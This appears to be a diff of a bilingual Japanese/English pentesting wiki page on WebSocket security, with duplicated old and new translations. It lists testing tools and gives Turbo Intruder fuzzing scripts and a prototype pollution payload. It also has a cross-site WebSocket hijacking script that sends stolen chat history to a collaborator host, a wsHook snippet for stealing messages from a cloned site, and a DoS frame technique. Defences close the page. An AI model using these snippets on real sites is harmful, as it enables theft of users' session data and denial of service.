- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、BurpでのWebSocket通信をより良く管理できるようにします。
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタム**メッセージを送信し、表示するためのユーザーインターフェースを提供します。
- [**wsrepl**](https://github.com/doyensec/wsrepl) は、ペネトレーションテスト専用に設計された**インタラクティブWebSocket REPL**です。**受信WebSocketメッセージを観察し、新しいメッセージを送信する**ためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを備えています。
- [**https://websocketking.com/**](https://websocketking.com/) は、**WebSocket**を使用して他のWebと通信するための**Web**です。
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他の通信/プロトコルの種類の中で、**WebSocket**を使用して他のWebと通信するための**Web**を提供します。
- **Burp Suite** は、通常の HTTP 通信と非常に似た方法で MitM による websockets 通信をサポートします。
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** により、**history** の取得、**interception rules** の設定、**match and replace** ルールの利用、**Intruder** や **AutoRepeater** の使用など、Burp 内での Websocket 通信をより適切に管理できます。
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**"。Node.js で書かれたこのツールは、クライアントとサーバ間のすべての WebSocket と Socket.IO 通信をキャプチャ、インターセプト、カスタムメッセージの送信、および表示するためのユーザーインターフェースを提供します。
- [**wsrepl**](https://github.com/doyensec/wsrepl) は、penetration testing 向けに設計された interactive websocket REPL です。受信 websocket メッセージの観察や新しいメッセージの送信、およびこの通信を自動化するための使いやすいフレームワークを提供します。
- [**https://websocketking.com/**](https://websocketking.com/) は websockets を使って他の web と通信するための web です。
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他のプロトコルと同様に、websockets を使って他の web と通信するための web を提供します。
## Decrypting Websocket
@ -81,33 +81,150 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、WebSocketを使用してWebを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) で説明を見つけることができます。
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.
## Websocket Fuzzing
Burp拡張機能 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) は、WebSocketメッセージのファジングも可能にしました。このことについての詳細は[**こちら**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)で読むことができます。
Burp の拡張 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) は現在 WebSocket メッセージの fuzz もサポートしています。詳細は [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) を参照してください。
### WebSocket Turbo Intruder (Burp extension)
PortSwigger の WebSocket Turbo Intruder は、Turbo Intruder スタイルの Python スクリプトと高レートの fuzzing を WebSockets に提供します。BApp Store かソースからインストールできます。以下の 2 つのコンポーネントを含みます:
- Turbo Intruder: カスタムエンジンを使用して単一の WS エンドポイントに対して高ボリュームのメッセージ送信を行います。
- HTTP Middleware: ローカルの HTTP エンドポイントを公開し、ボディを永続的な接続上で WS メッセージとして転送するため、任意の HTTP ベースのスキャナが WS バックエンドをプローブできるようにします。
WS エンドポイントを fuzz し、関連するレスポンスをフィルタするための基本的なスクリプトパターン:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
単一のメッセージが複数のレスポンスを引き起こす場合、ノイズを減らすために`@MatchRegex(...)`のようなデコレータを使用する。
### HTTPの背後にあるWSをブリッジ (HTTP Middleware)
永続的なWS接続をラップし、HTTP bodiesをWS messagesとして転送して、HTTP scannersによる自動テストを行う
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
次にローカルにHTTPを送信します; ボディはWSメッセージとして転送されます:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
これにより、WSバックエンドを操作しつつ、“興味深い”イベント例: SQLi errors、auth bypass、command injection behaviorをフィルタできます。
### Socket.IOの処理ハンドシェイク、ハートビート、イベント
Socket.IOはWSの上に独自のフレーミングを追加します。必須のクエリパラメータ `EIO`(例: `EIO=4`で検出します。Ping (`2`) と Pong (`3`) でセッションを維持し、`"40"`で会話を開始し、その後 `42["message","hello"]` のようなイベントをemitします。
Intruderの例:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
HTTPアダプタのバリアント:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Socket.IO経由での serverside prototype pollution の検出
PortSwigger の安全な検出手法に従い、以下のような payload を送って Express の内部を汚染してみてください:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
もし greetings や挙動が変わる(例: echo に "Polluted" が含まれるなら、サーバー側のプロトタイプが汚染された可能性が高いです。影響は到達可能なシンク次第なので、Node.js の prototype pollution セクションにある gadgets と照合してください。参照:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
デフォルトのエンジンは1つの接続でメッセージをバッチ処理しますスループットは高いが、レース検出には不向き。THREADED エンジンを使うと複数の WS 接続を生成してペイロードを並列送信し、ロジックレースdoublespend、token reuse、state desyncを誘発できます。まずは例のスクリプトから始め、`config()` で同時実行数を調整してください。
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
ヘッダで非常に大きなペイロード長を宣言するがボディを送らない WS フレームを作成します。いくつかの WS サーバは長さを信用してバッファを事前割り当てするため、`Integer.MAX_VALUE` 近くに設定すると OutOfMemory を引き起こし、リモートの unauth DoS を招く可能性があります。例のスクリプトを参照してください。
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Enable the WS Logger to capture and correlate messages using internal IDs.
- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
### Operational safety
高レートの WS ファジングは多数の接続を開き、毎秒数千件のメッセージを送信する可能性があります。malformed frames や高頻度の送信は実際の DoS を引き起こす場合があります。許可された範囲でのみ実行してください。
## Cross-site WebSocket hijacking (CSWSH)
**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースの**[クロスサイトリクエストフォージェリCSRF](csrf-cross-site-request-forgery.md)**として特定されます。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や類似のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, は WebSocket ハンドシェイクに影響する **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** の特定のケースと見なされます。この脆弱性は WebSocket ハンドシェイクが **HTTP cookies** のみで認証され、**CSRF tokens** などの類似のセキュリティ対策が存在しない場合に発生します。
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるWebページ**をホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。
攻撃者は脆弱なアプリケーションに対してクロスサイトの WebSocket 接続を開始する **malicious web page** をホストすることでこれを悪用できます。その結果、この接続は被害者のアプリケーションにおけるセッションの一部として扱われ、セッション処理における CSRF 保護の欠如を突かれます。
この攻撃が機能するための要件は次のとおりです:
この攻撃が成立するための条件は次の通りです:
- WebSocketの**認証はクッキーに基づいている必要があります**
- クッキーは攻撃者のサーバーからアクセス可能でなければならず(通常は**`SameSite=None`**を意味し、Firefoxで**Firefox Total Cookie Protection**が有効でなく、Chromeで**サードパーティのクッキーがブロックされていない**必要があります。
- WebSocketサーバーは接続のオリジンをチェックしてはいけませんまたはこれをバイパス可能でなければなりません
- websocket **authentication must be cookie based**
- cookie が攻撃者サーバからアクセス可能であること(通常は **`SameSite=None`** を意味します、Firefox で **Firefox Total Cookie Protection** が有効でないこと、Chrome で **blocked third-party cookies** がブロックされていないこと
- websocket サーバが接続の Origin をチェックしていないこと(またはこれがバイパス可能であること
また:
Also:
- 認証がローカル接続localhostまたはローカルネットワークへの接続に基づいている場合、現在の保護がそれを禁止していないため、攻撃は**可能です**[こちらで詳細を確認](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
**WebSocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の**ユーザーをその**WebSocket**セッションに**関連付ける**ためにそれを使用している可能性があります。
接続を**establishing**する際、**websocket** の**cookie**は**sent**されてサーバに届く点に注意してください。**server** は送信された cookie に基づいて各**specific**な**user** とその **websocket** **session based on the sent cookie** を関連付けている可能性があります。
次に、例えば**WebSocket**サーバーがユーザーの会話の**履歴**を返す場合、**"READY"**というメッセージが送信されると、接続を確立する**単純なXSS****クッキー**は被害者ユーザーを認証するために**自動的に送信されます**)が**"READY"**を送信することで、**会話の履歴**を**取得**できるようになります。
例えば、msg に "**READY"** が送られると**websocket** **server** がユーザの会話履歴を **sends back the history of the conversation** するような場合、接続を確立する **simple XSS**(被害者を認可するために **cookie****sent** **automatically** されます)で "**READY**" を **sending** すれば会話の履歴を **retrieve** できてしまいます。
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -122,13 +239,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### クロスオリジン + 異なるサブドメインのクッキー
### 異なる subdomain を用いた Cross Origin + Cookie
このブログ投稿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者**サブドメイン** のドメインで **任意のJavascriptを実行** することに成功しました。これは **サブドメイン** であったため、**クッキー** が **送信され**、**WebsocketがOriginを正しくチェックしなかった** ため、通信が可能になり、**トークンを盗む** ことができました
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者は、web socket 通信が行われているドメインの**subdomain 内で任意の Javascript を実行することに成功しました**。それが**subdomain**だったため、**cookie**が**送信されており**、また**Websocket が Origin を適切にチェックしていなかった**ため、通信が可能となり、そこから**tokens を盗むことができました**
### ユーザーからデータを盗む
なりすましたいウェブアプリケーションをコピーし(例えば .html ファイル、Websocket通信が行われているスクリプト内にこのコードを追加します:
なりすます対象の Web アプリケーション(例: .html ファイルをコピーし、websocket 通信が行われている script 内に次のコードを追加します:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
@ -148,34 +265,35 @@ xhttp.send()
return messageEvent
}
```
`wsHook.js`ファイルを[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)からダウンロードし、**ウェブファイルのフォルダ内に保存してください**。\
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送信および受信されたメッセージを盗むことができます。
まず、`wsHook.js` ファイルを [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) からダウンロードし、**web ファイルと同じフォルダに保存してください**。\
ウェブアプリケーションを公開してユーザを接続させると、websocket 経由で送受信されたメッセージを盗むことができます:
```javascript
sudo python3 -m http.server 80
```
### CSWSH Protections
CSWSH攻撃は、**ユーザーが悪意のあるページに接続し**、そのページがユーザーがすでに接続しているウェブページに**ウェブソケット接続を開く**という事実に基づいており、リクエストがユーザーのクッキーを送信するため、ユーザーとして認証されます。
CSWSH 攻撃は、**ユーザーが悪意のあるページにアクセスし**、そのページがユーザーが既に接続している Web ページに対して **websocket connection を開き**、リクエストがユーザーの cookies を送信するために攻撃者になりすまして認証できてしまう、という事実に基づいています。
現在、この問題を防ぐのは非常に簡単です:
現在では、この問題を防ぐのは比較的簡単です:
- **ウェブソケットサーバーがオリジンをチェックする**: ウェブソケットサーバーは、予期しないページが接続するのを防ぐために、常にユーザーがどこから接続しているかを確認する必要があります。
- **認証トークン**: 認証をクッキーに基づかせるのではなく、ウェブソケット接続は攻撃者には知られていないユーザーのためにサーバーによって生成されたトークンに基づくことができます例えば、anti-CSRFトークンのように
- **SameSite Cookie属性**: `SameSite`の値が`Lax`または`Strict`のクッキーは、外部の攻撃者のページから被害者のサーバーに送信されないため、クッキーに基づく認証は成功しません。Chromeは現在、このフラグが指定されていないクッキーに**`Lax`**の値を設定しており、デフォルトでこれをより安全にしています。ただし、クッキーが作成されてから最初の2分間は**`None`**の値を持ち、その限られた期間中は脆弱です(この対策はいつか削除されることが期待されています)。
- **Firefoxのトータルクッキープロテクション**: トータルクッキープロテクションは、クッキーを作成されたサイトに隔離することによって機能します。基本的に、各サイトには独自のクッキーストレージパーティションがあり、第三者がユーザーのブラウジング履歴を結びつけるのを防ぎます。これにより、**CSWSHは使用不可能**になります。攻撃者のサイトはクッキーにアクセスできません
- **Chromeのサードパーティクッキーのブロック**: これにより、`SameSite=None`であっても、認証されたユーザーのクッキーがウェブソケットサーバーに送信されるのを防ぐことができます。
- **Websocket server checking the origin**: websocket サーバーは、予期しないページからの接続を防ぐために、常にどこから接続が来ているかOriginを確認するべきです。
- **Authentication token**: 認証を cookie に依存させる代わりに、攻撃者が知らないサーバー発行のトークンanti-CSRF トークンのような)で websocket 接続を認証する方法にできます
- **SameSite Cookie attribute**: `SameSite``Lax` または `Strict` に設定された cookies は、外部の攻撃者ページから被害者サーバーへ送信されないため、cookie ベースの認証は成功しません。なお Chrome はこのフラグが指定されていない cookies に対してデフォルトで **`Lax`** を付与し、より安全にしています。ただし、cookie 作成後最初の 2 分間は値が **`None`** となり、その限定的な期間は脆弱になる(この措置は将来的に変更される可能性があります)。
- **Firefox Total Cookie Protection**: Total Cookie Protection は、cookie を作成されたサイトごとに分離することで機能します。基本的に各サイトは自身の cookie 保存領域を持ち、サードパーティがユーザーの閲覧履歴を結びつけることを防ぎます。これにより攻撃者のサイトは cookies にアクセスできなくなり、**CSWSH は利用不能**になります
- **Chrome third-party cookies block**: これも `SameSite=None` の場合でも、認証済みユーザーの cookie を websocket サーバーへ送信させないようにすることができます。
## Race Conditions
WebSocketsにおけるレースコンディションも存在します、[この情報を確認して詳細を学んでください](race-condition.md#rc-in-websockets)
Race Conditions in WebSockets も存在します。詳細は [check this information to learn more](race-condition.md#rc-in-websockets) を参照してください
## Other vulnerabilities
Web Socketsは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**Web SocketsはXSS、SQLi、またはウェブの一般的な脆弱性をウェブソケットからのユーザーの入力を使用して悪用するために使用される可能性があります。**
Web Sockets はサーバー側およびクライアント側にデータを送信する仕組みであるため、サーバーやクライアントが情報をどのように扱うかによって、websocket 経由のユーザー入力を利用して XSS、SQLi、その他の一般的な web 脆弱性を悪用できる場合があります。
## **WebSocket Smuggling**
この脆弱性により、**リバースプロキシの制限を回避する**ことができ、**ウェブソケット通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠されたエンドポイントにアクセスする**ことができる可能性があります。詳細については、次のページを確認してください:
この脆弱性により、**reverse proxies の制限を回避**し、プロキシに対して **websocket communication が確立されたと信じ込ませる**(実際には確立されていない場合でも)ことで、攻撃者が **隠れたエンドポイントにアクセス**できる可能性があります。詳細は次のページを参照してください:
{{#ref}}
h2c-smuggling.md
@ -185,5 +303,13 @@ h2c-smuggling.md
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}